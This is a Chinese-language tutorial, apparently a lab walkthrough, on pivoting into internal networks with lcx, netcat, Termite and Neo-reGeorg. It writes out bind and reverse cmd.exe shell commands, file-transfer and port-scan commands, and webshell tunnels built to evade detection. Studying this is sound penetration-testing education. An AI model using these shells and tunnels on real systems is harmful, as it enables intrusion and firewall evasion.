内网代理工具的使用(一)
内网代理工具使用
利用代理工具可以将内网的流量代理到本地进行访问,这样方便我们对内网进行纵向渗透。代理工具区分为正向代理和反向代理。正向代理就是将流量发送代理设备,由他代替本地主机去访问内网目标;一般情况下防火墙不会允许外网机器随意访问内网,由内网主机主动交出权限到代理机器,然后本地去连接代理机器,形成反向代理。
参考链接:https://blog.csdn.net/weixin_44508748/article/details/107345605?spm=1001.2014.3001.5506
实验环境
物理机通PC1
PC1与通PC2 与物理机
物理机与PC2不相通
1.lcx
lcx是最经典的端口转发工具,基于Socket套接字实现,有Windows与Linux两个版本,Linux为portmap,Windows为lcx.exe
在PC1 上执行以下命令
lcx.exe -listen 1111 11122
# 端口1111是目标主机PC2连接本地的端口
# 端口11122是将接收到的服务器内容转发端口(物理机连接的端口)
在PC2上执行以下命令,将本地的8080端口转发到PC1的1111端口
lcx.exe -slave 192.168.1.254 1111 127.0.0.1 8080
我们在物理机上访问PC1的11122端口,可以访问到服务
2.NetCat
NetCat,简称NC。除开端口转发以下还对NC的端口探测、文件传输、通信功能做了简单的演示:
NetCat 官方地址:http://netcat.sourceforge.net/
1.端口转发
(1)正向连接(鸡肋)
在PC1(192.168.1.254)执行命令将cmdshell绑定在本地5555端口上,将自己的命令行权限交出来。
nc -l -p 5555 -t -e cmd.exe
# -t是通过telnet模式执行 cmd.exe 程序,可省略
在PC2执行命令连接。
nc -nvv 192.168.1.254 5555
(2)反向连接
PC1开启监听本地端口
nc -lp 5555
PC2 进行主动连接交出自己的cmd
nc -t -e cmd.exe 192.168.1.254 5555
2.端口探测
nc -vz -w 2 192.168.1.3 80-8080
# -v可视化,-z扫描时不发送数据,-w超时几秒,后面跟数字
3.文件传输
(1)正向传输
#PC1启动监听,将9995端口接收到的数据都写到test文件里
nc -l -p 9995 > test
#本地往PC1服务器的9995端口发送数据
nc 192.168.1.254 9995 < 1.txt
(2)反向传输
#PC1启动文件发送命令,通过9992端口发送文件
nc -l -p 9992 < 1.php
#服PC2执行命令下载PC1 :9992端口文件,并把文件存到当前目录文件夹2.php
nc 192.168.1.154 9992 >2.php
对于PC1来说这是出去的流量,可利用此特性躲避防火墙。
4.NC通信
#开启监听
nc -l -p 12345
#连接。形成聊天室,不加密
nc 192.168.1.10 12345
3.Termite工具
Termite是一款极度小巧灵活的跳板机,有别于传统socks代理,它对于复杂内网环境下的渗透适用性更强,操作也极为简便。程序分为两部分,admin(控制端)和agent(为代理端节点),admin和agent所有选项用途均一致:
-l 指定本地socks端口,等待远程连接
-c 指定远程socks机器ip
-p 指定远程socks机器端口
(1).正向连接
PC1开启监听
./admin_windows_x86.exe -l 6666
PC2开启监听
./admin_windows_x86.exe -l 7777
物理机连接PC1
#连接成功后查看连接的隧道会话
show
#进入PC的会话
goto 1
#连接PC
connect 192.168.1.3 7777
传送文件
# 传送文件。将本地c:\unintall.log文件传送到目标服务器命名为1.txt
goto 2
upfile c:\unintall.log 1.txt
(2)反向连接
反向连接用于穿透防火墙
#PC1保持监听
./admin_windows_x86.exe -l 6666
#PC2主动连接PC1
./admin_windows_x86.exe -c 192.168.1.254 -p 6666
使用物理机直接连接PC1
./admin_windows_x86.exe -c 192.168.200.141 -p 6666
调用PC2 shell
将目标机器cmd shell转发到本地12345端口
goto 2
shell 12345
#nc连接,得到cmdshell
nc 127.0.0.1 12345
端口转发(并不是很好使)
#端口转发。将目标3389转发到本地1189,然后mstsc连接127.0.0.1:1189。注意多级转发会造成流量拥堵,流量可能出不来
lcxtran 1189 192.168.1.3 3389
#socket代理
#配合proxychains驱动本地软件对内网进行扫描,由本地1080将流量转发到内网
socks 1080
4.Neo-reGeorg+Proxychains
参考链接:https://fishpond.blog.csdn.net/article/details/119756779?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2~default~CTRLIST~default-1-119756779-blog-110389330.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2~default~CTRLIST~default-1-119756779-blog-110389330.pc_relevant_default&utm_relevant_index=1
主要功能把内网服务器端口的数据通过http/https隧道转发到本机,实现http协议的通信。
我们用他的升级版本neo-reGeorg
写于2020年,持续更新,重构版reGeorg,python写的,提高稳定性和可用性,避免特征检测
传输内容经过变形 base64 加密,伪装成 base64 编码
直接请求响应可定制化 (如伪装的404页面)
HTTP Headers 的指令随机生成,避免特征检测
HTTP Headers 可定制化
自定义 HTTP 响应码
多 URL 随机请求
服务端 DNS 解析
兼容 python2 / python3
服务端环境的高兼容性
aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
github:https://github.com/L-codes/Neo-reGeorg
原理图如下:
生成webshell
python3 neoreg.py generate -k password
连接webshell
python3 neoreg.py -k password -u http://xx/tunnel.php
---------特殊用法---------
1.伪装404
python neoreg.py generate -k --file 404.html --httpcode 404
2.如需 Authorization 认证和定制的 Header 或 Cookie
$ python neoreg.py -k -u -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
3.需要分散请求,可上传到多个路径上,如内存马
python neoreg.py -k -u -u -u ...
4.使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )
python neoreg.py -k -u -t
我们的PC1 是PHP环境
脚本上传后,使用Python运行脚本进行连接。
python3 neoreg.py -k password -u http://192.168.200.141/tunnel.php
成功连接
然后就可以通过proxychains来利用socks代理来访问内网,进行内网的访问。